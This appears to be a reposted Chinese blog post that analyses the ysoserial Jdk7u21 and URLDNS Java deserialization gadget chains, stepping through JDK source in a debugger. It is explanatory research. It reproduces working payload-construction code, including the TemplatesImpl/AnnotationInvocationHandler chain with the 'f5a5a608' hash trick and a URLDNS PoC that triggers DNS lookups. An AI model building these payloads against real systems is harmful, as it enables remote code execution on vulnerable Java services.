亲宝软件园·资讯

展开

ysoserial分析【二】7u21和URLDNS

ka1n4t 人气:0
[TOC] # 7u21 7u21中利用了TemplatesImpl来执行命令,结合动态代理、AnnotationInvocationHandler、HashSet都成了gadget链。 先看一下调用栈,把ysoserial中的调用栈简化了一下 ``` LinkedHashSet.readObject() LinkedHashSet.add() Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() 对_bytecodes属性的值(实例的字节码)进行实例化 RCE ``` 其中关于`TemplatsImpl`类如何执行恶意代码的知识可以参考另一篇文章中对CommonsCollections2的分析,这里不再赘述。只要知道这里调用`TemplatesImpl.getOutputProperties()`可以执行恶意代码即可。 看一下ysoserial的poc ```java public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command);//返回构造好的TemplatesImpl实例,实例的_bytecodes属性的值是执行恶意语句类的字节码 String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作为构造方法的第二个参数,map赋值给AnnotationInvocationHandler.membervalues属性 Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//为AIH创建代理 LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父类是HashSet set.add(templates);//TemplatesImpl实例 set.add(proxy);//AnnotationInvocationHandler实例的代理,AnnotationInvocationHandler的membervalues是TemplatesImple实例 Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); //绑定到AnnotationInvocationHandler的那个map中的再添加一组键值对,value是TemplatesImpl实例。但是由于map中的第一组键值对的键也是zeroHashCodeStr,因此这里就是相当于把第一个键值对的value重新复赋值了。 return set;//返回LinkedHashSet实例,用于序列化 } ``` 总体来说就是返回一个`LinkedHashSet`实例,其中有两个元素,第一个元素是`_bytecodes`属性是恶意类字节码的TemplatesImpl实例。 第二个元素是AnnotationInvocationHandler的代理实例,这个AnnotationInvocationHandler实例在初始化时将一个HashMap实例传入,HashMap的第一个元素的key是TemplatesImpl实例。 看一下AnnotationInvocationHandler的构造方法 ```java AnnotationInvocationHandler(Class<? extends Annotation> var1, Map var2) { this.type = var1; this.memberValues = var2; } ``` 也就是把这个HashMap实例赋值给了`memberValues`属性。 至此poc分析完毕,下面调试一下反序列化触发gadget链的流程。有感到模糊的地方可以参考以上的分析。 ## gadget链分析 首先由于poc return了`LinkedHashSet`实例用于序列化,因此这就是反序列化的入口。由于`LinkedHashSet`没有实现`readObject()`方法,因此跟进其父类:`HashSet.readObject`。 ```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap(capacity, loadFactor) : new HashMap(capacity, loadFactor));//创建一个新map // Read in size int size = s.readInt(); // Read in all elements in the proper order. for (int i=0; i e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; } ``` 我们主要关注这里对第一个参数`key`的操作,因为我们的payload就在TemplatsImple和Proxy实例中,因此只有对`key`做某些操作才可能会触发我们的payload。 可以看到首先调用了`hash(key)`,跟进一下HashMap.hash() ```java final int hash(Object k) { ... h ^= k.hashCode(); h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); } ``` 可以发现,这里调用了key的hashCode()方法。我们挨个看看两个key:TemplatesImpl和Proxy是如何调用hashCode()的。 由于TemplatesImpl并没有实现hashCode()方法,因此直接调用了基类Object.hashCode()。 ```java public native int hashCode(); ``` 这是个native方法,也就是java调用非java代码编写的接口,这个hashCode()大概是通过计算对象的内存地址得到的。下面再看Proxy.hashCode(),由于动态代理的特性,调用Proxy的所有方法都会转而调用绑定在Proxy上的`InvocationHandler`的Invoke()方法。回顾最上面创建Proxy时,我们绑定的`InvocationHandler`是AnnotationInvocationHandler实例,因此这里会转而调用`AnnotationInvocationHandler.invoke()`,跟进之后发现,最底层调用了`AnnotationInvocationHandler.hashCodeImple()`方法 ```java private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; } ``` 这里看的会比较绕,其实就是通过遍历`this.memberValues.entrySet()`中的所有键值对,来计算其中的key和value的hash,全部加起来之后返回最后的hash值。这里的`this.memberValues`属性就是我们在构建poc时传入的那个HashMap实例。 Proxy.hashCode()跟完了,没有什么危险操作。因此回到最开始的HashMap.put()中。 ```java public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; } ``` `int hash = hash(key)`这一步已经跟踪完了,继续往下看。可以看到for循环的条件是`table[i] != null`,这里的table在最后调用的addEntry()中进行了赋值,跟进一下 ```java void addEntry(int hash, K key, V value, int bucketIndex) { if ((size >= threshold) && (null != table[bucketIndex])) { resize(2 * table.length); hash = (null != key) ? hash(key) : 0; bucketIndex = indexFor(hash, table.length); } createEntry(hash, key, value, bucketIndex); } void createEntry(int hash, K key, V value, int bucketIndex) { Entry e = table[bucketIndex]; table[bucketIndex] = new Entry<>(hash, key, value, e); size++; } ``` 可以发现,这里利用key、value和hash创建了一个Entry实例,然后添加到了table数组中。回到上面的put()方法,由于for循环处的table中没有数据,因此调用完addEntry()就直接return了。 接下来是第二次进入put()方法,这一次传入的k参数是Proxy实例。`int hash = hash(key);`我们已经跟进过了,仅需往下看,到了for循环。由于在上一次table中已经有了数据,因此这里会进入。然后就到了if条件 ```java for (Entry e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { ... ``` 这里的变量e就是在上次添加到table数组中的那个Entry对象。`e.hash`就是初始化时传入的hash的值,同理`e.key`也是初始化时传入的key。如果这里满足`e.hash == hash`且`e.key != key`时,就会调用`key.equals(e.key)`。 这些条件后面会回过头来说,先假设这些条件都可以满足。就会导致调用`key.equals(e.key)`,这里的`key`是`Proxy`,而`e.key`是上一次的`TemplatesImpl`实例。又由于调用了Proxy的方法,自动跳转到`AnnotationInvocationHandler.invoke()`。跟进一下 ```java public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else { ... } } ``` var1是代理类实例,var2是调用的方法,就是`equals`的Method对象,var3是调用的参数,也就是`TemplatesImpl`实例。注意上面的第一个if条件,`equals`方法的参数是`Object`类型,因此总体判定条件为True,从而以`var3[0]`为参数,调用`this.equalsImpl()`,跟进 ```java private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; } } ``` 这里的var1就是`TemplatesImpl`实例,而`this.type`在创建poc时就已经定义了 ```java Reflections.setFieldValue(tempHandler, "type", Templates.class); ``` `TemplatesImpl`的正是实现了`Templates`接口,因此if条件中的`this.type.isInstance(var1)`是True,非True就是False,因此进入Else语句。首先调用了`this.getMemberMethods()`,跟进一下 ```java private Method[] getMemberMethods() { if (this.memberMethods == null) { this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射获取this.type类/接口中声明的所有方法 AccessibleObject.setAccessible(var1, true); return var1; } }); } return this.memberMethods; } ``` 由于this.type是`Templates`接口,因此看一下这个接口声明了哪些方法。 ```java public interface Templates { Transformer newTransformer() throws TransformerConfigurationException; Properties getOutputProperties(); } ``` 只声明了两个方法:newTransformer()和getOutputProperties()。 回到`equalsImpl()`,获取了this.type中声明的方法之后返回给变量var2。然后进入一个for循环,对这些方法进行遍历。先把方法名赋值给var6,跟进`this.asOneOfUs()` ```java private AnnotationInvocationHandler asOneOfUs(Object var1) { if (Proxy.isProxyClass(var1.getClass())) { ... } return null; } ``` 由于var1是`TemplatesImpl`实例,并不是Proxy,因此直接return null。回到上面,由于var9是null,因此进入else语句 ```java var8 = var5.invoke(var1); ``` var5是上面返回的两个方法的其中一个,也就是newTransformer()和getOutputProperties(),var1是`TemplatesImpl`实例。这里通过反射调用`TemplatesImpl`的var5方法。 本文一开始就说了,调用`TemplatesImpl.getOutputProperties()`会导致`TemplatesImpl._bytecodes`的值(含有执行恶意代码的类的字节码)进行实例化,因此这里就是漏洞的触发点了。 ## hashCode绕过 至此漏洞已经成功触发,回到之前还有一个没有完成的点,也就是HashMap.put()方法中的那个if条件。 ```java public V put(K key, V value) { ... int hash = hash(key); int i = indexFor(hash, table.length); for (Entry e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { ... } ``` 也就是这里的`e.hash == hash`和`e.key != key`。由于key是Proxy实例,e.key是TemplatesImpl实例,因此第二个条件好满足,注意是第一个条件,如何保证两者的hash相同? e.hash是由`TemplatesImpl.hashCode()`,由于TemplatesImpl没有定义这个方法,因此调用的是Object的方法,而正如之前说的,`Object.hashCode()`是通过对象的内存地址来计算hash的。 hash变量是Proxy.hashCode()返回的,也就是之前分析的`AnnotationInvocationHandler.hashCodeImple()`,回顾一下 ```java private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; } ``` 这里的`this.memberValues`属性就是我们在构建poc时传入的那个HashMap实例,也就是`(new HashMap()).put("f5a5a608", templates)`,templates是TemplatesImpl实例。上面的hashCodeImple()主要是这句: ```java private int hashCodeImpl() { ... var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()) ... return var1; } ``` 而key是"f5a5a608",value是TempIatesImpl实例,因此等价于 ```java 127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates) ``` 跟进一下memberValueHashCode ```java private static int memberValueHashCode(Object var0) { Class var1 = var0.getClass(); if (!var1.isArray()) { return var0.hashCode(); ... ``` 由于参数是TemplatesImpl对象,因此直接返回了`TemplatesImpl.hashCode()`,前面已经说了,其TemplatesImpl并没有重写hashCode,因此调用Object.hashCode()根据对象的内存地址生成了hash。至此两个hash的值已经计算完了。 ``` 第一个hash: TemplatesImpl实例.hashCode() 第二个hash 127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode() ``` 这两个TemplatesImpl实例的内存地址实际上是一样的,因为在构建poc时,用的就是同一个TemplatesImpl实例: ```java public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl实例 String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); ... LinkedHashSet set = new LinkedHashSet(); set.add(templates);//插入TemplatesImpl实例 set.add(proxy);//Proxy代理 ... map.put(zeroHashCodeStr, templates);//插入TemplatesImpl实例 return set; } ``` 由于是同一个实例,因此内存地址相同,因此`Object.hashCode()`返回的hash也是相同的。回看一下两个hash ``` 第一个hash: TemplatesImpl实例.hashCode() 第二个hash 127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode() ``` 我们只需要计算一下`"f5a5a608".hashCode()`,这也是一个比较有意思的点,直接放到Debug中计算一下 ![](https://img2020.cnblogs.com/blog/1077935/202003/1077935-20200330020027041-369417244.png) 结果是0!这个值好像是一哥们通过一个while循环遍历出来的。因此上面的第二个hash由于是127 * 0,因此也是0,从而两个hash变成了: ``` 第一个hash: TemplatesImpl实例.hashCode() 第二个hash 0 ^ TemplatesImpl实例.hashCode() ``` ^是异或运算符,异或的规则是转换成二进制比较,相同为0,不同为1。由于是按二进制的位进行比较,0只有一位,也就是说如果一个数的最低位与0相同,那一位则为0,否则则为1,这个结果正好与条件一样,只有最低位是0时才会与0相同,从而返回0。如果最低位是1,与0不同,则返回1,也就是啥都没变呗。所以说任何数与0异或,结果都还是原来的值,因此上面这两个hash相等了。 至此几个条件全部满足,通过后面的`key.equals(k)`造成了代码执行。 因此整个的数据流大概是 ``` HashSet.readObject() HashMap.put() TemplatesImpl.hashCode() HashMap.put() Proxy.hashCode() AnnotationInvocationHandler.Invoke() AnnotationInvocationHandler.hashCodeImpl() Proxy.equals() AnnotationInvocationHandler.Invoke() AnnotationInvocationHandler.equalsImpl() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() 对_bytecodes属性的值(实例的字节码)进行实例化 RCE ``` ## 参考 [JDK7u21反序列化漏洞分析](https://www.freebuf.com/vuls/175754.html) [ysoserial payload分析](https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/) # URLDNS 这个gadget会在反序列化时发送一个DNS请求,仅依赖于JDK,因此适用范围很广,应该是只要有反序列化入口就能用这个gadget打。 先看一下调用栈 ``` Gadget Chain: HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode() ``` 这里就涉及到了URL类,这个类的`hashCode()`方法底层会调用`URLStreamHandler.hashCode()`发送一个DNS请求。 ```java protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); ... ``` 在反序列化时,HashMap会自动对键计算hash,其中就调用了键的hashCode()方法,因此我们可以利用HashMap来触发`URL.hashCode()`: ```java private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) ... Node[] tab = (Node[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false);// } } } static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } ``` 根据以上描述大概可以写出这样的poc ```java URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL(null, url, handler); ht.put(u, url); return ht; static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } ``` 这里的`SilentURLStreamHandler`类重写了`URLStreamHandler.getHostAddress()`,这样可以保证在编译gadget时不会发送DNS请求。 然后我们把上面poc返回的类进行序列化,在反序列化并没有发送DNS请求。调试之后才发现,在反序列化调用`URL.hashCode()`由于已经存在`hashCode`且值不为-1,从而直接return掉了。 ![](https://img2020.cnblogs.com/blog/1077935/202003/1077935-20200330020036681-530567644.png) 因此我们需要保证`URL.hashCode`的值为null或-1。我们可以在序列化时利用反射来修改URL的属性,如下 ```java URL u = new URL(null, url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode", -1); ``` 调用链如下 ``` HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() ```

加载全部内容

相关教程
猜你喜欢
用户评论